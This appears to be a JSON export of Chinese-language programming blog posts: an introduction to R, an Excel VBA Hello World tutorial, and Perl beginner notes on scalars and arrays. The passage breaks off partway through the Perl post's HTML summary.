[{"content":"這裡介紹什麼是 R，以及其發展的歷史。\nR 是什麼？ R 這個名稱其實代表兩個東西，一個是 R 這個程式語言，另外一個是執行 R 程式的軟體環境，所以 R 這個字同時是程式語言以及軟體的名稱，而當我們在書籍或是網路上看到 R 這個名詞時，通常應該都很容易辨別它是代表哪一種（甚至同時意指這兩種）。\nR 程式語言 R 程式語言誕生於 90 年代初期，由奧克蘭大學的 Ross Ihaka 與 Robert Gentleman 所發展出來的，它是以 S 語言（誕生於 70 年代的貝爾實驗室，主要作者為 John Chambers）為基礎所發展出來的一個 GNU 專案，以免費且開放的方式釋出其原始碼，目前 R 這個專案是由 R Core Team 的二十位成員負責開發與維護。\n由於 R 語言（S 語言）從 70 年代持續演變至今，經過了好幾個世代，並不像近代的新興程式語言（如微軟的 .Net）是全新設計的，所以 R 的語法在某些時候會讓人感覺很奇怪，或是同時允許好幾種不同的寫法，這個現象是一個語言經過長期自由發展之後所難以避免的。當然語言很自由也是有優點的，如果您不喜歡 R 原本的功能，我們可以自己動手直接改寫我們想要的功能，而且通常我們要的功能都已經有人寫好了，我們的問題通常不是「R 可以處理這個問題嗎？」，反而我們會問「這裡有三種實作版本，我應該用哪一個？」。\nR 語言本身是屬於高階的直譯式語言（interpreted language），所以在程式執行之前，使用者不需要自己編譯程式，我們可以把心力全部投入在資料的分析上，不用去管太低階的電腦問題，就跟使用 Matlab 這類的程式語言類似。\nR 本身支援混合式的程式設計模式，在他的內部核心中是以指令式程式設計（imperative programming）來撰寫的（就像一般的指令稿，一行接著一行執行），但它也支援物件導向程式設計（object-oriented programming）與函數式程式設計（functional programming），混合式的程式設計風格會讓一個問題有好幾種解決方式，程式設計師可以依自己的喜好來選擇。\nThere is more than one way to do it. — Larry Wall\n以下是 R 語言的一些特色：\n免費：R 是以開放原始碼的授權釋出的，完全免費。 開放：R 是 S 語言的開放原始碼實做版本，您可以將 S-plus 的程式碼直接放進 R 中執行。 佔有率高：SAS 是最普遍被使用的統計軟體，但在學術界最普及的統計軟體是 R 與 S 語言，尤其在統計的期刊中，常常可以看到 R 語言的蹤跡。 跨平台：R 可以在各種平台上運作，包含 Windows、Macintosh、Linux 等數十種平台。 彈性大：R 是一種程式語言，使用者可以自行撰寫適合自己的分析程式。 互動式：傳統的統計分析軟體，是將所有的統計分析過程一次做完，產生報表，而 R 可以互動式的一步一步處理，使用者可以依照每一步的結果而決定下一步該如何處理。 參考資料 R 官方網站 維基百科 ","permalink":"https://blog.gtwang.org/r/introduction-to-r-language/","summary":"\u003cp\u003e這裡介紹什麼是 R，以及其發展的歷史。\u003c/p\u003e\n\u003ch2 id=\"r-是什麼\"\u003eR 是什麼？\u003c/h2\u003e\n\u003cp\u003eR 這個名稱其實代表兩個東西，一個是 R 這個程式語言，另外一個是執行 R 程式的軟體環境，所以 R 這個字同時是程式語言以及軟體的名稱，而當我們在書籍或是網路上看到 R 這個名詞時，通常應該都很容易辨別它是代表哪一種（甚至同時意指這兩種）。\u003c/p\u003e","title":"R 語言簡介"},{"content":"這裡介紹如何啟用 Excel 的開發人員工具，撰寫一個 Hello World VBA 程式。\n在任何一個版本的 Excel 中，我們都可以透過開發人員工具來撰寫 VBA 巨集程式，只不過在 Excel 中，開發人員工具預設是不會顯示的，要開始撰寫程式之前，必須先將其開啟，以下是設定開發人員工具與撰寫 Hello World VBA 程式的步驟。\n環境設定與 Hello World Step 1\n在 Excel 功能表上點選「檔案」。\nStep 2\n點選「選項」。\nStep 3\n啟用「開發人員」工具。\nStep 4\n點選「開發人員」工具。\nStep 5\n點選「巨集」功能。\nStep 6\n建立一個新的巨集，命名為「Hello」。\nStep 7\n撰寫「Hello」的巨集程式內容，這裡我們使用 MsgBox 讓 VBA 跳出一個簡單的訊息。\nMsgBox (\u0026#34;Hello, world!\u0026#34;) 撰寫好程式內容之後，按下執行，就會出現這樣的訊息視窗。\n以上就是最簡單的 Excel VBA Hello World 程式，在巨集程式撰寫好之後，我們也可以從「巨集」對話框執行巨集。\n程式註解與換行 Excel VBA 的程式碼中，每一行單引號後方的文字都會被視為註解，例如：\n\u0026#39; 這是註解 MsgBox (\u0026#34;Hello, world!\u0026#34;) \u0026#39; 這也是註解 一般來說 Excel VBA 的程式碼都是一行一個陳述式（statement），如果一行程式碼太長的時候，想要切成多行的話，行與行之間的結尾處要加上一個下底線，例如：\nx = 1 + 2 + 3 + 4 + 5 + 6 可以改寫為：\nx = 1 + 2 + 3 + _ 4 + 5 + 6 而一般程式碼中多餘的空白並不會影響程式的執行，所以通常程式設計師都會使用空白稍微將程式碼排版一下，方便閱讀。\n","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-programming-hello-world/","summary":"\u003cp\u003e這裡介紹如何啟用 Excel 的開發人員工具，撰寫一個 Hello World VBA 程式。\u003c/p\u003e\n\u003cp\u003e在任何一個版本的 Excel 中，我們都可以透過開發人員工具來撰寫 VBA 巨集程式，只不過在 Excel 中，開發人員工具預設是不會顯示的，要開始撰寫程式之前，必須先將其開啟，以下是設定開發人員工具與撰寫 Hello World VBA 程式的步驟。\u003c/p\u003e","title":"Excel VBA：Hello World！"},{"content":"Hello World! #!/usr/bin/perl # Hello World! # Perl：1980年代誕生，直譯式語言。 print \u0026#34;Hello World!\\n\u0026#34;; # 雙引號可內嵌特殊字元 如： # \\n Newline # \\r Carriage Return # \\t Tab # \\f Formfeed # \\b Backspace # \\v Vertical Tab # \\a Bell # \\e Escape # \\001 Octal ASCII value (here Ctrl-A) # \\x20 Hex ASCII value (here space) # \\cD Control character (here Ctrl-D) # \\\\ Backslash # \\\u0026#34; Double Quote # \\l Lowercase next letter # \\L Lowercase all following letters until \\E # \\u Uppercase next letter # \\U Uppercase all following letters until \\E # \\E Terminate \\L or \\U print \u0026#39;Hello World!\\n\u0026#39;; # 單引號則只能內嵌 \\\\ \\\u0026#39; # 註一：在 Perl 中，函式可不用括號，以下兩行相等： # print \u0026#34;Hello World!\\n\u0026#34;; # print(\u0026#34;Hello World!\\n\u0026#34;); # # 註二：在 Perl 中，\u0026#34;abc\u0026#34; 為三個字元，在 C 下， # \u0026#34;abc\u0026#34; 為三個字元加上一 Null 字元。 # Perl 單行註解為 \u0026#39;#\u0026#39; 開頭 # 多行註解為 =pod 此為註解 =cut 純量（Scalar） # 純量 (scalar) # (1) 純量：以 $ 開頭之變數，可儲存整數、浮點數、字串等 $val1 = 1; # 1 $val2 = 0x123; # 十六進位數值 123 # 為了使數字方便辨識，可加入 _ 分隔， # 此變數數值為 23323930 $val3 = 23_323_930; $val4 = -4.32e3; # 科學記號 $str1 = \u0026#34;AB\u0026#34;; # 字串 \u0026#34;AB\u0026#34; $name = \u0026#34;Bill\u0026#34;; print \u0026#34;Hello, $name\\n\u0026#34;; # 雙引號可內嵌變數 print \u0026#39;Hello, $name\\n\u0026#39;; # 單引號不行 # (2) 數值與字串間的自動轉換 $a = \u0026#34;1\u0026#34;; # 字串 $b = \u0026#34;2\u0026#34;; # 字串 # Perl 會先將 $a 與 $b 自動轉為數值再相加，傳回數值 $c = $a + $b; $d = \u0026#34;12abc34\u0026#34;; # Perl 會略過 $d 內非數字起頭到結尾的部份， # 即 $d 被轉換為數值 12，再經計算 $e 為 24 $e = $d * 2; $f = \u0026#34;abc\u0026#34;; # 若完全不是數字的字串，會被轉換成零， # 因此結果 $f 被轉換為零，再經計算 $g 亦為 0 $g = $f * 2; $a = 1; # 數值 # Perl 會將 $a 轉為字串，做字串相加，$b 為 \u0026#34;string1\u0026#34; $b = \u0026#34;string\u0026#34; . $a; # 註：\u0026#39;.\u0026#39; 為字串相加運算子 # (3) 在字串內安插變數 $val = 12; $str1 = \u0026#34;I have $val dollars.\u0026#34;; # 安插變數 $str2 = \u0026#39;I have \u0026#39; . $val . \u0026#39; dollars.\u0026#39;; # 字串相加 $str3 = \u0026#34;def\u0026#34;; # Perl 有時容易誤判變數名稱 $str4 = \u0026#34;abc$str3ghijk\u0026#34;; # 加入 {} 之後，可讓 Perl 正確判斷安插變數名稱 $str5 = \u0026#34;abc${str3}ghijk\u0026#34;; # (4) 特殊變數 $_ $_ = \u0026#34;Bill\u0026#34;; print; # 若省略參數，預設為 $_，即 print $_; # (5) chomp,chop 刪除最後一個(換行)字元 $str1 = \u0026#34;hello world.\\n\u0026#34;; chomp($str1); # 刪除最後一個換行字元，變成 \u0026#34;hello world.\u0026#34; chomp($str1); # 無效果 chop($str1); # 刪除最後一個字元，變成 \u0026#34;hello world\u0026#34; chop($str1); # 刪除最後一個字元，變成 \u0026#34;hello worl\u0026#34; 陣列（Array） # 陣列(array) # (1) 陣列：\u0026#39;@\u0026#39; 開頭，一連串的純量 @empty = (); # 空陣列 # 一陣列內含兩元素 \u0026#34;Bill\u0026#34; \u0026#34;Mary\u0026#34; @arr1 = (\u0026#34;Bill\u0026#34;,\u0026#34;Mary\u0026#34;); # @arr2 = (\u0026#34;Bill\u0026#34;,\u0026#34;Mary\u0026#34;,\u0026#34;John\u0026#34;) @arr2 = (@arr1,\u0026#34;John\u0026#34;); # @arr3 = (\u0026#34;John\u0026#34;,\u0026#34;Mary\u0026#34;,\u0026#34;Bill\u0026#34;) @arr3 = reverse @arr2; # 按照 ASCII 碼排序，@arr4 = (\u0026#34;Bill\u0026#34;,\u0026#34;John\u0026#34;,\u0026#34;Mary\u0026#34;) @arr4 = sort @arr2; print $arr1[1]; # \u0026#34;Mary\u0026#34; print $#arr2; # @arr2 最後一個元素的 index 即 2 print $arr2[$#arr2]; # @arr2 最後一個元素 print $arr2[-2]; # @arr2 倒數第二個元素 @arr4 = (\u0026#34;a\u0026#34;,\u0026#34;b\u0026#34;,\u0026#34;c\u0026#34;,\u0026#34;d\u0026#34;,\u0026#34;e\u0026#34;,\u0026#34;f\u0026#34;); @arr5 = @arr4[2..4]; # 取出 @arr4 第三到第五個元素 ($a,$b) = ($b,$a); # 交換 $a 與 $b # (2) 純量與陣列語境 @array = (\u0026#34;a\u0026#34;,\u0026#34;b\u0026#34;,\u0026#34;c\u0026#34;); # 陣列 $scalar1 = @array; # Perl 會傳回 @array 的長度 $scalar2 = sort @array; # Perl 會傳回 undef $scalar3 = reverse @array; # Perl 會傳回 \u0026#34;cba\u0026#34; $scalar4 = \u0026#34;@array\u0026#34;; # Perl 會傳回 \u0026#34;a b c\u0026#34; $scalar = \u0026#34;a\u0026#34;; # 純量 ($scalar); # 陣列，元素個數為一 # (3) pop,push,shift,unshift 陣列處理 @arr = (0,1); push(@arr,2); # push 後，@arr = (0,1,2) $a = pop(@arr); # pop 後，@arr = (0,1)，$a = 2 @arr = (0,1); unshift(@arr,2); # unshift 後，@arr = (2,0,1) $a = shift(@arr); # shift 後，@arr = (0,1)，$a = 2 # (4) split,join $str = \u0026#34;It\u0026#39;s my life.\u0026#34;; # 以空白做分隔，將 $str 切成陣列，存入 @arr @arr = split / /,$str; # 以 \u0026#34;-\u0026#34; 作分隔，將 @arr 連接成一個純量變數 $str2 = join \u0026#34;-\u0026#34;,@arr; ","permalink":"https://blog.gtwang.org/perl/perl-course-notes-1/","summary":"\u003ch2 id=\"hello-world\"\u003eHello World!\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"ch\"\u003e#!/usr/bin/perl\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Hello World!\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Perl：1980年代誕生，直譯式語言。\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello World!\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 雙引號可內嵌特殊字元 如：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\n     Newline\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\r     Carriage Return\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\t     Tab\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\f     Formfeed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\b     Backspace\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\v     Vertical Tab\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\a     Bell\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\e     Escape\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\001   Octal ASCII value (here Ctrl-A)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\x20   Hex ASCII value (here space)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\cD    Control character (here Ctrl-D)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\\\     Backslash\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\\u0026#34;     Double Quote\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\l     Lowercase next letter\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\L     Lowercase all following letters until \\E\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\u     Uppercase next letter\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\U     Uppercase all following letters until \\E\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\E     Terminate \\L or \\U\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#39;Hello World!\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# 單引號則只能內嵌 \\\\ \\\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 註一：在 Perl 中，函式可不用括號，以下兩行相等：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# print \u0026#34;Hello World!\\n\u0026#34;;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# print(\u0026#34;Hello World!\\n\u0026#34;);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 註二：在 Perl 中，\u0026#34;abc\u0026#34; 為三個字元，在 C 下，\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \u0026#34;abc\u0026#34; 為三個字元加上一 Null 字元。\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Perl 單行註解為 \u0026#39;#\u0026#39; 開頭\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 多行註解為\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e=pod\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e此為註解\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e=cut\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"純量scalar\"\u003e純量（Scalar）\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 純量 (scalar)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) 純量：以 $ 開頭之變數，可儲存整數、浮點數、字串等\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$val1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e          \u003cspan class=\"c1\"\u003e# 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$val2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x123\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e          \u003cspan class=\"c1\"\u003e# 十六進位數值 123\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 為了使數字方便辨識，可加入 _ 分隔，\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 此變數數值為 23323930\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$val3\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e23_323_930\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$val4\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e4.32e3\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e        \u003cspan class=\"c1\"\u003e# 科學記號\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;AB\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e           \u003cspan class=\"c1\"\u003e# 字串 \u0026#34;AB\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$name\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello, $name\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# 雙引號可內嵌變數\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#39;Hello, $name\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# 單引號不行\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) 數值與字串間的自動轉換\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e           \u003cspan class=\"c1\"\u003e# 字串\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$b\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e           \u003cspan class=\"c1\"\u003e# 字串\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Perl 會先將 $a 與 $b 自動轉為數值再相加，傳回數值\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$c\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$d\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;12abc34\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Perl 會略過 $d 內非數字起頭到結尾的部份，\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 即 $d 被轉換為數值 12，再經計算 $e 為 24\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$e\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$d\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$f\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 若完全不是數字的字串，會被轉換成零，\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 因此結果 $f 被轉換為零，再經計算 $g 亦為 0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$g\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$f\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# 數值\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Perl 會將 $a 轉為字串，做字串相加，$b 為 